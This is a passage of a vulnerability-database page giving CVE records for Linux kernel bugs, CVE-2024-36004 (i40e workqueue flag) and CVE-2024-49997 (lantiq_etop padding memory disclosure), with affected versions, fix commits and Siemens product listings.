Linux	Linux	Affected: 4.14 Unaffected: 0 , < 4.14 (semver) Unaffected: 4.19.313 , ≤ 4.19.* (semver) Unaffected: 5.4.275 , ≤ 5.4.* (semver) Unaffected: 5.10.216 , ≤ 5.10.* (semver) Unaffected: 5.15.158 , ≤ 5.15.* (semver) Unaffected: 6.1.90 , ≤ 6.1.* (semver) Unaffected: 6.6.30 , ≤ 6.6.* (semver) Unaffected: 6.8.9 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-36004",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-20T17:00:59.391854Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:47:48.116Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:30:12.511Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/09b54d29f05129b092f7c793a70b689ffb3c7b2c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/546d0fe9d76e8229a67369f9cb61e961d99038bd"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/fbbb2404340dd6178e281bd427c271f7d5ec1d22"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ff7431f898dd00892a545b7d0ce7adf5b926944f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/152ed360cf2d273f88fc99a518b7eb868aae2939"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8d6105f637883c8c09825e962308c06e977de4f0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1594dac8b1ed78f9e75c263327e198a2e5e25b0e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2cc7d150550cc981aceedf008f5459193282425c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:33.427Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/intel/i40e/i40e_main.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "09b54d29f05129b092f7c793a70b689ffb3c7b2c",
              "status": "affected",
              "version": "4d5957cbdecdbb77d24c1465caadd801c07afa4a",
              "versionType": "git"
            },
            {
              "lessThan": "546d0fe9d76e8229a67369f9cb61e961d99038bd",
              "status": "affected",
              "version": "4d5957cbdecdbb77d24c1465caadd801c07afa4a",
              "versionType": "git"
            },
            {
              "lessThan": "fbbb2404340dd6178e281bd427c271f7d5ec1d22",
              "status": "affected",
              "version": "4d5957cbdecdbb77d24c1465caadd801c07afa4a",
              "versionType": "git"
            },
            {
              "lessThan": "ff7431f898dd00892a545b7d0ce7adf5b926944f",
              "status": "affected",
              "version": "4d5957cbdecdbb77d24c1465caadd801c07afa4a",
              "versionType": "git"
            },
            {
              "lessThan": "152ed360cf2d273f88fc99a518b7eb868aae2939",
              "status": "affected",
              "version": "4d5957cbdecdbb77d24c1465caadd801c07afa4a",
              "versionType": "git"
            },
            {
              "lessThan": "8d6105f637883c8c09825e962308c06e977de4f0",
              "status": "affected",
              "version": "4d5957cbdecdbb77d24c1465caadd801c07afa4a",
              "versionType": "git"
            },
            {
              "lessThan": "1594dac8b1ed78f9e75c263327e198a2e5e25b0e",
              "status": "affected",
              "version": "4d5957cbdecdbb77d24c1465caadd801c07afa4a",
              "versionType": "git"
            },
            {
              "lessThan": "2cc7d150550cc981aceedf008f5459193282425c",
              "status": "affected",
              "version": "4d5957cbdecdbb77d24c1465caadd801c07afa4a",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/intel/i40e/i40e_main.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.14"
            },
            {
              "lessThan": "4.14",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.313",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.275",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.216",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.158",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.90",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.30",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.9",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.313",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.275",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.216",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.158",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.90",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.30",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.9",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ni40e: Do not use WQ_MEM_RECLAIM flag for workqueue\n\nIssue reported by customer during SRIOV testing, call trace:\nWhen both i40e and the i40iw driver are loaded, a warning\nin check_flush_dependency is being triggered. This seems\nto be because of the i40e driver workqueue is allocated with\nthe WQ_MEM_RECLAIM flag, and the i40iw one is not.\n\nSimilar error was encountered on ice too and it was fixed by\nremoving the flag. Do the same for i40e too.\n\n[Feb 9 09:08] ------------[ cut here ]------------\n[  +0.000004] workqueue: WQ_MEM_RECLAIM i40e:i40e_service_task [i40e] is\nflushing !WQ_MEM_RECLAIM infiniband:0x0\n[  +0.000060] WARNING: CPU: 0 PID: 937 at kernel/workqueue.c:2966\ncheck_flush_dependency+0x10b/0x120\n[  +0.000007] Modules linked in: snd_seq_dummy snd_hrtimer snd_seq\nsnd_timer snd_seq_device snd soundcore nls_utf8 cifs cifs_arc4\nnls_ucs2_utils rdma_cm iw_cm ib_cm cifs_md4 dns_resolver netfs qrtr\nrfkill sunrpc vfat fat intel_rapl_msr intel_rapl_common irdma\nintel_uncore_frequency intel_uncore_frequency_common ice ipmi_ssif\nisst_if_common skx_edac nfit libnvdimm x86_pkg_temp_thermal\nintel_powerclamp gnss coretemp ib_uverbs rapl intel_cstate ib_core\niTCO_wdt iTCO_vendor_support acpi_ipmi mei_me ipmi_si intel_uncore\nioatdma i2c_i801 joydev pcspkr mei ipmi_devintf lpc_ich\nintel_pch_thermal i2c_smbus ipmi_msghandler acpi_power_meter acpi_pad\nxfs libcrc32c ast sd_mod drm_shmem_helper t10_pi drm_kms_helper sg ixgbe\ndrm i40e ahci crct10dif_pclmul libahci crc32_pclmul igb crc32c_intel\nlibata ghash_clmulni_intel i2c_algo_bit mdio dca wmi dm_mirror\ndm_region_hash dm_log dm_mod fuse\n[  +0.000050] CPU: 0 PID: 937 Comm: kworker/0:3 Kdump: loaded Not\ntainted 6.8.0-rc2-Feb-net_dev-Qiueue-00279-gbd43c5687e05 #1\n[  +0.000003] Hardware name: Intel Corporation S2600BPB/S2600BPB, BIOS\nSE5C620.86B.02.01.0013.121520200651 12/15/2020\n[  +0.000001] Workqueue: i40e i40e_service_task [i40e]\n[  +0.000024] RIP: 0010:check_flush_dependency+0x10b/0x120\n[  +0.000003] Code: ff 49 8b 54 24 18 48 8d 8b b0 00 00 00 49 89 e8 48\n81 c6 b0 00 00 00 48 c7 c7 b0 97 fa 9f c6 05 8a cc 1f 02 01 e8 35 b3 fd\nff \u003c0f\u003e 0b e9 10 ff ff ff 80 3d 78 cc 1f 02 00 75 94 e9 46 ff ff ff 90\n[  +0.000002] RSP: 0018:ffffbd294976bcf8 EFLAGS: 00010282\n[  +0.000002] RAX: 0000000000000000 RBX: ffff94d4c483c000 RCX:\n0000000000000027\n[  +0.000001] RDX: ffff94d47f620bc8 RSI: 0000000000000001 RDI:\nffff94d47f620bc0\n[  +0.000001] RBP: 0000000000000000 R08: 0000000000000000 R09:\n00000000ffff7fff\n[  +0.000001] R10: ffffbd294976bb98 R11: ffffffffa0be65e8 R12:\nffff94c5451ea180\n[  +0.000001] R13: ffff94c5ab5e8000 R14: ffff94c5c20b6e05 R15:\nffff94c5f1330ab0\n[  +0.000001] FS:  0000000000000000(0000) GS:ffff94d47f600000(0000)\nknlGS:0000000000000000\n[  +0.000002] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[  +0.000001] CR2: 00007f9e6f1fca70 CR3: 0000000038e20004 CR4:\n00000000007706f0\n[  +0.000000] DR0: 0000000000000000 DR1: 0000000000000000 DR2:\n0000000000000000\n[  +0.000001] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7:\n0000000000000400\n[  +0.000001] PKRU: 55555554\n[  +0.000001] Call Trace:\n[  +0.000001]  \u003cTASK\u003e\n[  +0.000002]  ? __warn+0x80/0x130\n[  +0.000003]  ? check_flush_dependency+0x10b/0x120\n[  +0.000002]  ? report_bug+0x195/0x1a0\n[  +0.000005]  ? handle_bug+0x3c/0x70\n[  +0.000003]  ? exc_invalid_op+0x14/0x70\n[  +0.000002]  ? asm_exc_invalid_op+0x16/0x20\n[  +0.000006]  ? check_flush_dependency+0x10b/0x120\n[  +0.000002]  ? check_flush_dependency+0x10b/0x120\n[  +0.000002]  __flush_workqueue+0x126/0x3f0\n[  +0.000015]  ib_cache_cleanup_one+0x1c/0xe0 [ib_core]\n[  +0.000056]  __ib_unregister_device+0x6a/0xb0 [ib_core]\n[  +0.000023]  ib_unregister_device_and_put+0x34/0x50 [ib_core]\n[  +0.000020]  i40iw_close+0x4b/0x90 [irdma]\n[  +0.000022]  i40e_notify_client_of_netdev_close+0x54/0xc0 [i40e]\n[  +0.000035]  i40e_service_task+0x126/0x190 [i40e]\n[  +0.000024]  process_one_work+0x174/0x340\n[  +0.000003]  worker_th\n---truncated---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:15:27.150Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/09b54d29f05129b092f7c793a70b689ffb3c7b2c"
        },
        {
          "url": "https://git.kernel.org/stable/c/546d0fe9d76e8229a67369f9cb61e961d99038bd"
        },
        {
          "url": "https://git.kernel.org/stable/c/fbbb2404340dd6178e281bd427c271f7d5ec1d22"
        },
        {
          "url": "https://git.kernel.org/stable/c/ff7431f898dd00892a545b7d0ce7adf5b926944f"
        },
        {
          "url": "https://git.kernel.org/stable/c/152ed360cf2d273f88fc99a518b7eb868aae2939"
        },
        {
          "url": "https://git.kernel.org/stable/c/8d6105f637883c8c09825e962308c06e977de4f0"
        },
        {
          "url": "https://git.kernel.org/stable/c/1594dac8b1ed78f9e75c263327e198a2e5e25b0e"
        },
        {
          "url": "https://git.kernel.org/stable/c/2cc7d150550cc981aceedf008f5459193282425c"
        }
      ],
      "title": "i40e: Do not use WQ_MEM_RECLAIM flag for workqueue",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-36004",
    "datePublished": "2024-05-20T09:48:04.926Z",
    "dateReserved": "2024-05-17T13:50:33.150Z",
    "dateUpdated": "2026-05-12T11:53:33.427Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-49997 (GCVE-0-2024-49997)

Vulnerability from cvelistv5 – Published: 2024-10-21 18:02 – Updated: 2026-05-12 11:59

Title

net: ethernet: lantiq_etop: fix memory disclosure

Summary

In the Linux kernel, the following vulnerability has been resolved: net: ethernet: lantiq_etop: fix memory disclosure When applying padding, the buffer is not zeroed, which results in memory disclosure. The mentioned data is observed on the wire. This patch uses skb_put_padto() to pad Ethernet frames properly. The mentioned function zeroes the expanded buffer. In case the packet cannot be padded it is silently dropped. Statistics are also not incremented. This driver does not support statistics in the old 32-bit format or the new 64-bit format. These will be added in the future. In its current form, the patch should be easily backported to stable versions. Ethernet MACs on Amazon-SE and Danube cannot do padding of the packets in hardware, so software padding must be applied.

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/905f06a34f960676e…
https://git.kernel.org/stable/c/60c068444c20bf9a3…
https://git.kernel.org/stable/c/185df159843d30fb7…
https://git.kernel.org/stable/c/469856f76f4802c5d…
https://git.kernel.org/stable/c/2bf4c101d7c99483b…
https://git.kernel.org/stable/c/e66e38d07b31e177c…
https://git.kernel.org/stable/c/1097bf16501ed5e35…
https://git.kernel.org/stable/c/431b122933b197820…
https://git.kernel.org/stable/c/45c0de18ff2dc9af0…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 504d4721ee8e432af4b5f196a08af38bc4dac5fe , < 905f06a34f960676e7dc77bea00f2f8fe18177ad (git) Affected: 504d4721ee8e432af4b5f196a08af38bc4dac5fe , < 60c068444c20bf9a3e22b65b5f6f3d9edc852931 (git) Affected: 504d4721ee8e432af4b5f196a08af38bc4dac5fe , < 185df159843d30fb71f821e7ea4368c2a3bfcd36 (git) Affected: 504d4721ee8e432af4b5f196a08af38bc4dac5fe , < 469856f76f4802c5d7e3d20e343185188de1e2db (git) Affected: 504d4721ee8e432af4b5f196a08af38bc4dac5fe , < 2bf4c101d7c99483b8b15a0c8f881e3f399f7e18 (git) Affected: 504d4721ee8e432af4b5f196a08af38bc4dac5fe , < e66e38d07b31e177ca430758ed97fbc79f27d966 (git) Affected: 504d4721ee8e432af4b5f196a08af38bc4dac5fe , < 1097bf16501ed5e35358d848b0a94ad2830b0f65 (git) Affected: 504d4721ee8e432af4b5f196a08af38bc4dac5fe , < 431b122933b197820d319eb3987a67d04346ce9e (git) Affected: 504d4721ee8e432af4b5f196a08af38bc4dac5fe , < 45c0de18ff2dc9af01236380404bbd6a46502c69 (git)
Linux	Linux	Affected: 3.0 Unaffected: 0 , < 3.0 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.55 , ≤ 6.6.* (semver) Unaffected: 6.10.14 , ≤ 6.10.* (semver) Unaffected: 6.11.3 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-49997",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-22T13:30:28.688552Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-22T13:38:41.677Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:24:14.583Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:59:36.110Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/lantiq_etop.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "905f06a34f960676e7dc77bea00f2f8fe18177ad",
              "status": "affected",
              "version": "504d4721ee8e432af4b5f196a08af38bc4dac5fe",
              "versionType": "git"
            },
            {
              "lessThan": "60c068444c20bf9a3e22b65b5f6f3d9edc852931",
              "status": "affected",
              "version": "504d4721ee8e432af4b5f196a08af38bc4dac5fe",
              "versionType": "git"
            },
            {
              "lessThan": "185df159843d30fb71f821e7ea4368c2a3bfcd36",
              "status": "affected",
              "version": "504d4721ee8e432af4b5f196a08af38bc4dac5fe",
              "versionType": "git"
            },
            {
              "lessThan": "469856f76f4802c5d7e3d20e343185188de1e2db",
              "status": "affected",
              "version": "504d4721ee8e432af4b5f196a08af38bc4dac5fe",
              "versionType": "git"
            },
            {
              "lessThan": "2bf4c101d7c99483b8b15a0c8f881e3f399f7e18",
              "status": "affected",
              "version": "504d4721ee8e432af4b5f196a08af38bc4dac5fe",
              "versionType": "git"
            },
            {
              "lessThan": "e66e38d07b31e177ca430758ed97fbc79f27d966",
              "status": "affected",
              "version": "504d4721ee8e432af4b5f196a08af38bc4dac5fe",
              "versionType": "git"
            },
            {
              "lessThan": "1097bf16501ed5e35358d848b0a94ad2830b0f65",
              "status": "affected",
              "version": "504d4721ee8e432af4b5f196a08af38bc4dac5fe",
              "versionType": "git"
            },
            {
              "lessThan": "431b122933b197820d319eb3987a67d04346ce9e",
              "status": "affected",
              "version": "504d4721ee8e432af4b5f196a08af38bc4dac5fe",
              "versionType": "git"
            },
            {
              "lessThan": "45c0de18ff2dc9af01236380404bbd6a46502c69",
              "status": "affected",
              "version": "504d4721ee8e432af4b5f196a08af38bc4dac5fe",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/lantiq_etop.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.0"
            },
            {
              "lessThan": "3.0",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.55",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "3.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "3.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "3.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "3.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "3.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.55",
                  "versionStartIncluding": "3.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.14",
                  "versionStartIncluding": "3.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.3",
                  "versionStartIncluding": "3.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "3.0",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: ethernet: lantiq_etop: fix memory disclosure\n\nWhen applying padding, the buffer is not zeroed, which results in memory\ndisclosure. The mentioned data is observed on the wire. This patch uses\nskb_put_padto() to pad Ethernet frames properly. The mentioned function\nzeroes the expanded buffer.\n\nIn case the packet cannot be padded it is silently dropped. Statistics\nare also not incremented. This driver does not support statistics in the\nold 32-bit format or the new 64-bit format. These will be added in the\nfuture. In its current form, the patch should be easily backported to\nstable versions.\n\nEthernet MACs on Amazon-SE and Danube cannot do padding of the packets\nin hardware, so software padding must be applied."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:43:32.589Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/905f06a34f960676e7dc77bea00f2f8fe18177ad"
        },
        {
          "url": "https://git.kernel.org/stable/c/60c068444c20bf9a3e22b65b5f6f3d9edc852931"
        },
        {
          "url": "https://git.kernel.org/stable/c/185df159843d30fb71f821e7ea4368c2a3bfcd36"
        },
        {
          "url": "https://git.kernel.org/stable/c/469856f76f4802c5d7e3d20e343185188de1e2db"
        },
        {
          "url": "https://git.kernel.org/stable/c/2bf4c101d7c99483b8b15a0c8f881e3f399f7e18"
        },
        {
          "url": "https://git.kernel.org/stable/c/e66e38d07b31e177ca430758ed97fbc79f27d966"
        },
        {
          "url": "https://git.kernel.org/stable/c/1097bf16501ed5e35358d848b0a94ad2830b0f65"
        },
        {
          "url": "https://git.kernel.org/stable/c/431b122933b197820d319eb3987a67d04346ce9e"
        },
        {
          "url": "https://git.kernel.org/stable/c/45c0de18ff2dc9af01236380404bbd6a46502c69"
        }
      ],
      "title": "net: ethernet: lantiq_etop: fix memory disclosure",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-49997",
    "datePublished": "2024-10-21T18:02:37.681Z",
    "dateReserved": "2024-10-21T12:17:06.056Z",
    "dateUpdated": "2026-05-12T11:59:36.110Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35828 (GCVE-0-2024-35828)

Vulnerability from cvelistv5 – Published: 2024-05-17 13:41 – Updated: 2026-05-12 11:52

Title

